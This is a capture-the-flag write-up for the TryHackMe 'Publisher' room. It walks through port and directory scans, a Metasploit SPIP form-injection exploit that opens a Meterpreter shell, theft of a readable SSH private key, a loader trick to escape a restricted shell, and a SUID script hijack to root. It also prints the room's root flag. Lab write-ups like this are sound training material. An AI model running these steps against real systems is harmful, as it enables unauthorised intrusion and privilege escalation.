TryHackMe: Publisher
Publisher was the best room so far in terms of me going to write-ups or watching walkthroughs. I only had doubts on the root flag and was able to get the rest all alone. Its all about practicing really. The room itself is fun and fairly easy, i liked it.
https://tryhackme.com/r/room/publisher
Initial Enumeration
Nmap Scan
We start by doing our usual nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -T4 -n -sC -sV -Pn -p- 10.10.184.54
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-28 16:29 GMT
Nmap scan report for 10.10.184.54
Host is up (0.056s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Publisher's Pulse: SPIP Insights & Tips
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.64 seconds
Web 80
Not much to see so we proceed to port 80:
We find a website running spip
, a software to make maganize style websites but after looking around for a bit we couldn’t find much.
Gobuster Scan
So our next step is scanning directories with Gobuster:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x ".html,.txt,.php" -t 25 --timeout 20s -u http://10.10.184.54:80/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.184.54:80/
[+] Method: GET
[+] Threads: 25
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,txt,php
[+] Timeout: 20s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 277]
/images (Status: 301) [Size: 313] [--> http://10.10.184.54/images/]
/.php (Status: 403) [Size: 277]
/index.html (Status: 200) [Size: 8686]
/spip (Status: 301) [Size: 311] [--> http://10.10.184.54/spip/]
/server-status (Status: 403) [Size: 277]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================
We find one useful directory, called spip
, and navigating to it we see the following page:
I genuinely forgot to check the source code. Inside had the spip version that we could use to search for exploits. Either ways are fine but not checking the source code is a bad habit.
And at the page footer there’s an option saying ‘Se connecter’ that translated means Connect, and after clicking on it we are redirected to a login page:
Shell as www-data
After trying some default credentials i couldn’t login, so i decided to search inside metasploit
for exploits:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/Desktop]
└─$ msfconsole
...
msf6 > search spip
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/spip_bigup_unauth_rce 2024-09-06 excellent Yes SPIP BigUp Plugin Unauthenticated RCE
1 \_ target: PHP In-Memory . . . .
2 \_ target: Unix/Linux Command Shell . . . .
3 \_ target: Windows Command Shell . . . .
4 exploit/multi/http/spip_porte_plume_previsu_rce 2024-08-16 excellent Yes SPIP Unauthenticated RCE via porte_plume Plugin
5 \_ target: PHP In-Memory . . . .
6 \_ target: Unix/Linux Command Shell . . . .
7 \_ target: Windows Command Shell . . . .
8 exploit/multi/http/spip_connect_exec 2012-07-04 excellent Yes SPIP connect Parameter PHP Injection
9 \_ target: PHP In-Memory . . . .
10 \_ target: Unix/Linux Command Shell . . . .
11 \_ target: Windows Command Shell . . . .
12 exploit/multi/http/spip_rce_form 2023-02-27 excellent Yes SPIP form PHP Injection
13 \_ target: PHP In-Memory . . . .
14 \_ target: Unix/Linux Command Shell . . . .
15 \_ target: Windows Command Shell . . . .
There are 4 exploits available:
- spip_bigup_unauth_rce
- spip_porte_plume_previsu_rce
- spip_connect_exec
- spip_rce_form
Based on the information we got so far the spip_rce_form is our best option so, we set the options and try to exploit it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf6 exploit(multi/http/spip_rce_form) > set rhosts 10.10.184.54
rhosts => 10.10.184.54
msf6 exploit(multi/http/spip_rce_form) > set targeturi /spip
targeturi => /spip
msf6 exploit(multi/http/spip_rce_form) > exploit
[*] Started reverse TCP handler on [REDACTED]:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] SPIP Version detected: 4.2.0
[+] The target appears to be vulnerable. The detected SPIP version (4.2.0) is vulnerable.
[*] Got anti-csrf token: AKXEs4U6r36PZ5LnRZXtHvxQ/ZZYCXnJB2crlmVwgtlVVXwXn/MCLPMydXPZCL/WsMlnvbq2xARLr6toNbdfE/YV7egygXhx
[*] 10.10.184.54:80 - Attempting to exploit...
[*] Sending stage (40004 bytes) to 10.10.184.54
[*] Meterpreter session 1 opened ([REDACTED]:4444 -> 10.10.184.54:43108) at 2025-01-28 16:42:10 +0000
meterpreter >
Lucky enough we were able to get a shell as www-data
, and going to the home directory we find one user, think
, and inside it we find the user flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
meterpreter > ls
Listing: /home/think
====================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
020666/rw-rw-rw- 0 cha 2025-01-28 16:28:12 +0000 .bash_history
100644/rw-r--r-- 220 fil 2023-11-14 08:57:26 +0000 .bash_logout
100644/rw-r--r-- 3771 fil 2023-11-14 08:57:26 +0000 .bashrc
040700/rwx------ 4096 dir 2023-11-14 08:57:24 +0000 .cache
040700/rwx------ 4096 dir 2023-12-08 13:07:22 +0000 .config
040700/rwx------ 4096 dir 2024-02-10 21:22:33 +0000 .gnupg
040775/rwxrwxr-x 4096 dir 2024-01-10 12:46:09 +0000 .local
100644/rw-r--r-- 807 fil 2023-11-14 08:57:24 +0000 .profile
020666/rw-rw-rw- 0 cha 2025-01-28 16:28:12 +0000 .python_history
040755/rwxr-xr-x 4096 dir 2024-01-10 12:54:17 +0000 .ssh
020666/rw-rw-rw- 0 cha 2025-01-28 16:28:12 +0000 .viminfo
040750/rwxr-x--- 4096 dir 2023-12-20 19:05:25 +0000 spip
100644/rw-r--r-- 35 fil 2024-02-10 21:20:39 +0000 user.txt
meterpreter > cat user.txt
[REDACTED]
meterpreter >
Shell as think
We also see that we have read permissions to think’s .ssh
and going inside we find the id_rsa that we can download to our machine and try to log into think’s machine:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
meterpreter > cd .ssh
meterpreter > ls -la
Listing: /home/think/.ssh
=========================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 569 fil 2024-01-10 12:54:17 +0000 authorized_keys
100644/rw-r--r-- 2602 fil 2024-01-10 12:48:14 +0000 id_rsa
100644/rw-r--r-- 569 fil 2024-01-10 12:48:14 +0000 id_rsa.pub
meterpreter > download id_rsa
[*] Downloading: id_rsa -> /home/kali/Desktop/id_rsa
[*] Downloaded 2.54 KiB of 2.54 KiB (100.0%): id_rsa -> /home/kali/Desktop/id_rsa
[*] Completed : id_rsa -> /home/kali/Desktop/id_rsa
And we are in, simple as that:
1
2
3
4
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh -i id_rsa think@10.10.184.54
...
think@publisher:~$
Shell as root
After some enumeration, when looking at SUID binaries we find a weird binary, run_container
:
1
2
3
4
think@publisher:~$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
...
-rwsr-sr-x 1 root root 16760 Nov 14 2023 /usr/sbin/run_container
...
There are better ways to search for binaries this was just some already made code i had on a list. Most common way would be with
find / -type f -perm -u=s 2>/dev/null
.
Since its not a common binary we can go try to run it and see what it does:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
think@publisher:/usr/sbin$ run_container
List of Docker containers:
ID: 41c976e507f8 | Name: jovial_hertz | Status: Up 44 minutes
Enter the ID of the container or leave blank to create a new one:
/opt/run_container.sh: line 16: validate_container_id: command not found
OPTIONS:
1) Start Container
2) Stop Container
3) Restart Container
4) Create Container
5) Quit
Choose an action for a container: 5
Exiting...
We see that its running some script from the /opt
directory but we don’t have permission to list the files inside. But we can read the run_container
file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
think@publisher:~$ cat /opt/run_container.sh
#!/bin/bash
# Function to list Docker containers
list_containers() {
if [ -z "$(docker ps -aq)" ]; then
docker run -d --restart always -p 8000:8000 -v /home/think:/home/think 4b5aec41d6ef;
fi
echo "List of Docker containers:"
docker ps -a --format "ID: {{.ID}} | Name: {{.Names}} | Status: {{.Status}}"
echo ""
}
# Function to prompt user for container ID
prompt_container_id() {
read -p "Enter the ID of the container or leave blank to create a new one: " container_id
validate_container_id "$container_id"
}
# Function to display options and perform actions
select_action() {
echo ""
echo "OPTIONS:"
local container_id="$1"
PS3="Choose an action for a container: "
options=("Start Container" "Stop Container" "Restart Container" "Create Container" "Quit")
select opt in "${options[@]}"; do
case $REPLY in
1) docker start "$container_id"; break ;;
2) if [ $(docker ps -q | wc -l) -lt 2 ]; then
echo "No enough containers are currently running."
exit 1
fi
docker stop "$container_id"
break ;;
3) docker restart "$container_id"; break ;;
4) echo "Creating a new container..."
docker run -d --restart always -p 80:80 -v /home/think:/home/think spip-image:latest
break ;;
5) echo "Exiting..."; exit ;;
*) echo "Invalid option. Please choose a valid option." ;;
esac
done
}
# Main script execution
list_containers
prompt_container_id # Get the container ID from prompt_container_id function
select_action "$container_id" # Pass the container ID to select_action function
Nothing much that we could use but we can try to write something to the run_container
file to check for writing permissions:
1
2
think@publisher:/opt$ echo "test" >> /opt/run_container.sh
-ash: /opt/run_container.sh: Permission denied
It gives us permission denied but not with bash, with an ash shell. Going after this ash shell we only find one file:
1
2
think@publisher:/usr/sbin$ find / -type f -name ash 2>/dev/null
/usr/sbin/ash
Doing a simple strings
on it the first few lines are:
1
2
3
4
5
6
7
think@publisher:/usr/sbin$ strings ash
/lib64/ld-linux-x86-64.so.2
$DJ
CDDB
E %
0`0
...
Since we know that ash is being loaded with the /lib64/ld-linux-x86-64.so.2
we could try loading bash instead and possibly bypassing any restrictions made on ash shell:
1
2
3
think@publisher:/opt$ /lib64/ld-linux-x86-64.so.2 /bin/bash
think@publisher:/opt$ ls
containerd dockerfile run_container.sh
And it worked! We can now write inside run_container
and as we are using bash now, we can simply write bash -p
to the script and run the command again to get to root level:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
think@publisher:/opt$ echo "bash -p" >> run_container.sh
think@publisher:/opt$ run_container
List of Docker containers:
ID: 41c976e507f8 | Name: jovial_hertz | Status: Up About an hour
Enter the ID of the container or leave blank to create a new one:
/opt/run_container.sh: line 16: validate_container_id: command not found
OPTIONS:
1) Start Container
2) Stop Container
3) Restart Container
4) Create Container
5) Quit
Choose an action for a container: 1
Error response from daemon: page not found
Error: failed to start containers:
bash-5.0# whoami
root
Now we just have to go to the root’s folder and get the flag:
1
2
3
4
5
6
7
bash-5.0# pwd
/root
bash-5.0# ls
root.txt spip
bash-5.0# cat root.txt
3a4225cc9e85709adda6ef55d6a4f2ca
bash-5.0#